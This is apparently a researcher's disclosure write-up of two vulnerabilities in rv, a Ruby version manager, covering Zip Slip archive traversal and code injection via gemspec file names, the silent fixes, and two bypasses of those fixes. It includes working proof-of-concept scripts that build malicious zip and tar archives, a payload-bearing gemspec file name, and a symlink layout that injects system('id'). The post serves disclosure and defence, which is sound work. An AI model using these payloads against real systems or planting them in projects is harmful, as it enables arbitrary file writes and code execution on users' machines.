Post

Rv Zip Traversal Issues

Rv Zip Traversal Issues

Two vulnerabilities in rv, and bypasses for both fixes

On April 3, 2026 I reported two vulnerabilities in rv, a Rust-based Ruby version manager and gem installer from Spinel Coop, through GitHub’s private security advisory workflow:

The maintainers never replied on either advisory. Fixes landed as silent commits (the escape gemspec paths one on April 9, the archive-traversal patches on May 18-19) and shipped in rv 0.6.0 on June 15, 2026. The 0.6.0 changelog references them as “Path traversal vulnerabilities in zip and tar extraction (#702)” and “User and gemspec inputs are now properly escaped (#670)”, without linking either advisory or attributing external reporting.

Both advisories are public now. Before publishing this I went back and re-read the current code to make sure the fixes actually held up. They don’t. This post covers the two bugs, the fixes that shipped, and the bypasses I found on the current tree.


Background

rv is a Rust tool that manages Ruby installations and gem installs. Two subcommands are relevant:

  • rv ruby install <version> --tarball-path <archive> installs a Ruby toolchain from a local archive (zip, tar.gz, or 7z).
  • rv ci (alias for rv clean-install) is the Bundler-style lockfile-based gem install. It reads a Gemfile / Gemfile.lock and installs the resolved gems.

Both surfaces process attacker-influenced input, and both had bugs.


Vuln 1: Arbitrary file write via zip/tar extraction (GHSA-7hvm-6xq9-cfv4)

The bug

The archive extractors used entry paths straight from the archive with no traversal check. From crates/rv/src/commands/ruby/install.rs before the fix:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
fn extract_tarball(tarball_path: &Utf8Path, rubies_dir: &Utf8Path, version: &str) -> Result<()> {
    let tarball = fs_err::File::open(tarball_path)?;
    let mut archive = tar::Archive::new(flate2::read::GzDecoder::new(tarball));
    for e in archive.entries()? {
        let mut entry = e?;
        let entry_path = entry.path()?;

        // Strip the first two path components
        let mut path = entry_path.components();
        path.next();
        path.next();

        let dst: PathBuf = rubies_dir
            .as_std_path()
            .join(format!("ruby-{}", version))
            .join(path.as_path());

        crate::tar_utils::unpack_entry(&mut entry, &dst)?;
    }
    Ok(())
}

And for zip:

1
2
3
let dst = rubies_dir.join(&path);
if entry.is_dir() { fs_err::create_dir_all(&dst)?; }
else { /* create parents, write file */ }

Any tar or zip entry with .. in its path escapes rubies_dir. Classic Zip Slip.

PoC (from the advisory)

1
2
3
4
5
6
7
8
9
10
11
12
python3 - <<'PY'
import zipfile
with zipfile.ZipFile('/tmp/evil.zip','w') as z:
    z.writestr('../../tmp/rv_zip_poc', 'owned\n')
PY

rv ruby install 3.4.1 \
  --install-dir /tmp/rv-rubies \
  --tarball-path /tmp/evil.zip \
  --force

cat /tmp/rv_zip_poc   # 'owned'

Same trick works for tar.gz. The attack surface is rv ruby install --tarball-path <archive> with an attacker-controlled archive. A “manual install” tarball a user is told to download is the obvious delivery path.

The fix

Two commits landed under PR #702:

  • 4243b114 (May 18): the tar extractor now walks each entry path’s Components and returns DirectoryTraversalError on any ParentDir component.
  • c852eca2 (May 19): the zip extractor rejects any entry whose name contains .. as a substring.

Current code (install.rs, roughly lines 478 and 532):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// tar
for part in path {
    match part {
        Component::Prefix(..) | Component::RootDir | Component::CurDir => continue,
        Component::ParentDir => {
            return Err(Error::DirectoryTraversalError(entry_path.display().to_string()));
        }
        Component::Normal(part) => dst_file.push(part),
    }
}

// zip
let path = entry.name().replace('\\', "/");
if path.contains("..") {
    return Err(Error::DirectoryTraversalError(path));
}

The original PoC no longer works. ../../tmp/rv_zip_poc fails the substring check; the tar variant fails on Component::ParentDir.


Vuln 2: Ruby code execution via gemspec path interpolation (GHSA-gv9j-5v93-q9mv)

The bug

rv ci serializes each gem’s .gemspec to YAML by shelling out to Ruby with -e. The pre-fix code, from crates/rv/src/commands/clean_install.rs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fn cache_gemspec_path(config, path_dir, path, cached_path) -> Result<GemSpecification> {
    let gemspec_path = Utf8PathBuf::try_from(path).expect("gemspec path not valid UTF-8");
    let result = capture_run_no_install(
        Invocation::ruby(vec![]),
        config,
        vec![
            "-e".to_string(),
            format!(
                "puts Gem::Specification.load(\"{}\").to_yaml",
                rv_dirs::canonicalize_utf8(&gemspec_path)?,
            ),
        ],
        Some(path_dir),
    )?;
    ...
}

The filesystem path is interpolated into a Ruby double-quoted string. Ruby double-quoted strings evaluate #{...} as expression interpolation at runtime, so a gemspec file named evil#{system('id')}.gemspec produces the Ruby program:

1
puts Gem::Specification.load("evil#{system('id')}.gemspec").to_yaml

system('id') then runs on the victim during rv ci. The gemspec’s contents don’t need to be malicious, the filename is the payload. Reviewers and security tooling almost always look at file contents, not file names, so a benign-looking gemspec attached to a weird filename is easy to miss.

PoC (from the advisory)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mkdir -p /tmp/attacker-gem/lib
cat > /tmp/attacker-gem/lib/evil.rb <<'RUBY'
module Evil; end
RUBY

# The filename is the payload.
cat > '/tmp/attacker-gem/evil#{File.write([File::SEPARATOR,%q{tmp},File::SEPARATOR,%q{rv_rce_poc}].join,%q{owned})}evil.gemspec' <<'RUBY'
Gem::Specification.new do |s|
  s.name = "evil"; s.version = "0.1.0"; s.summary = "evil"
  s.authors = ["attacker"]; s.files = ["lib/evil.rb"]; s.require_paths = ["lib"]
end
RUBY

mkdir -p /tmp/victim
cat > /tmp/victim/Gemfile <<'RUBY'
source "https://rubygems.org"
gem "evil", path: "/tmp/attacker-gem"
RUBY

cd /tmp/victim && bundle lock
rv ci --gemfile /tmp/victim/Gemfile
cat /tmp/rv_rce_poc   # 'owned'

Delivery surfaces:

  • A path: gem in a Gemfile.
  • A git: gem (repos preserve filenames, so the payload survives git clone).
  • Any workflow where an attacker controls filenames in a checkout the victim later runs rv ci against.

The fix

Commit d57a4afb (April 9):

1
2
3
4
5
6
7
8
9
10
11
let gemspec_path = Utf8PathBuf::try_from(path)
    .expect("gemspec path not valid UTF-8")
    .as_str()
    .replace('\\', "\\\\")
    .replace('\'', "\\'");

// …
format!(
    "puts Gem::Specification.load('{}').to_yaml",
    rv_dirs::canonicalize_utf8(&gemspec_path)?,
),

The double-quoted string became single-quoted (Ruby single quotes don’t process #{...} at all), and \ and ' get escaped so the payload can’t close the string. Ruby single-quoted literals only recognize \\ and \' as escapes, so against the original PoC the #{…} payload is inert.


Bypasses

I re-read the current code (0.7.0, commit f4a7575f) and both fixes are incomplete. I confirmed the following by code review only, not by standing up an end-to-end victim.

The tar fix inspects entry paths for ... It does not inspect symlink targets, and it doesn’t defer symlink creation. On non-Windows, tar_utils::unpack_entry just calls entry.unpack(&dst_file), and the tar crate (0.4.46) implements symlink unpacking by calling the raw symlink() syscall with no target validation.

That’s enough for a two-entry attack:

  1. Entry 1: type=SYMLINK, name="dir1", linkname="/tmp". Components: [Normal("dir1")]. No .., passes. entry.unpack creates the symlink <dst>/dir1 -> /tmp.
  2. Entry 2: type=REG, name="dir1/pwned", contents = payload. Components: [Normal("dir1"), Normal("pwned")]. No .., passes. create_dir_all(<dst>/dir1) follows the symlink; the target exists so no error. entry.unpack opens <dst>/dir1/pwned for writing, which resolves through the symlink to /tmp/pwned.

Sketch:

1
2
3
4
5
6
7
import tarfile, io
with tarfile.open('/tmp/evil.tar.gz','w:gz') as t:
    ln = tarfile.TarInfo('dir1'); ln.type = tarfile.SYMTYPE; ln.linkname = '/tmp'
    t.addfile(ln)
    data = b'pwned\n'
    f = tarfile.TarInfo('dir1/rv_sym_poc'); f.size = len(data)
    t.addfile(f, io.BytesIO(data))

The zip extractor doesn’t handle unix-mode symlinks specially (it always calls File::create), so the equivalent trick doesn’t apply there.

A more durable fix is to canonicalize dst_file after each entry’s parents are created and assert the resolved path is still under dst_dir, or to reject Symlink/Link entries whose resolved target escapes.

Bypass 2: gemspec RCE via canonicalize-introduced characters

The escape in cache_gemspec_path is applied to the input string. What actually gets substituted into the Ruby program is the return value of rv_dirs::canonicalize_utf8(&gemspec_path)?, a fresh string produced by resolving the escaped input against the real filesystem. canonicalize follows symlinks and turns relative paths into absolute ones, so it can introduce characters that were never in the escaped input.

If the input string has no ' or \, the escape is a no-op. If canonicalize then resolves a symlink to a path that does contain ', that unescaped ' lands directly in the format string and closes the Ruby literal.

An attacker’s path: or git: gem can be laid out like this:

1
2
3
4
5
attacker-gem/
    hidden/
        x'; system('id') #/
            other.gemspec              # filename doesn't match the gem name in Gemfile.lock
    evil.gemspec -> hidden/x'; system('id') #/other.gemspec   # symlink

Trace:

  • The glob at clean_install.rs:544/710 (**/*.gemspec) finds both entries. other.gemspec doesn’t match the expected gem name in the lockfile, so the dep lookup around line 543-549 skips it. evil.gemspec matches and is passed to cache_gemspec_path.
  • Input path attacker-gem/evil.gemspec contains no ' or \. Escape does nothing.
  • dunce::canonicalize resolves the symlink and returns /…/attacker-gem/hidden/x'; system('id') #/other.gemspec.
  • The format string produces:

    1
    
    puts Gem::Specification.load('/…/attacker-gem/hidden/x'; system('id') #/other.gemspec').to_yaml
    

    The first raw ' closes the string. ; system('id') executes. # starts a Ruby comment that swallows the rest of the line. No interpolation needed.

Git preserves symlinks in commits, and path-gem tarballs preserve them on disk, so delivery is the same as the original bug.

The right fix is to escape after canonicalization, not before. Better still, keep the path out of the Ruby source entirely and pass it via ARGV or the environment:

1
2
3
4
5
6
vec![
    "-e".into(),
    "puts Gem::Specification.load(ARGV[0]).to_yaml".into(),
    "--".into(),
    rv_dirs::canonicalize_utf8(&gemspec_path)?.into_string(),
]

Data stays out of the code channel; nothing to escape.


Timeline

  • 2026-04-03: Both vulnerabilities reported to Spinel Coop via GitHub private security advisory.
  • 2026-04-09: d57a4afb "escape gemspec paths" lands quietly on main (RCE).
  • 2026-05-18/19: 4243b114 and c852eca2 land on main (tar and zip traversal).
  • 2026-06-15: rv 0.6.0 ships all three fixes. The changelog references internal PR numbers (#670, #702); neither advisory is linked, and there was no reply on either advisory thread.
  • 2026-09-04: Re-reviewed the shipped fixes for this writeup. Both bypasses above still apply on main at commit f4a7575f (0.7.0).

Closing note

The advisories were valid, and the fixes shipped reasonably fast on the RCE (six days) and slower on the archive extraction (about six weeks). Silent patching without acknowledging the reporter isn’t unusual for small projects, but it does mean downstream users had no signal that the changelog entries were security-motivated.

Both current fixes handle the exact PoCs in the advisories but not the underlying class of bug. If you’re running rv 0.6.x or 0.7.x, treat archives from untrusted sources as still risky, along with path/git gems where an attacker controls the directory layout or symlinks.

This post is licensed under CC BY 4.0 by the author.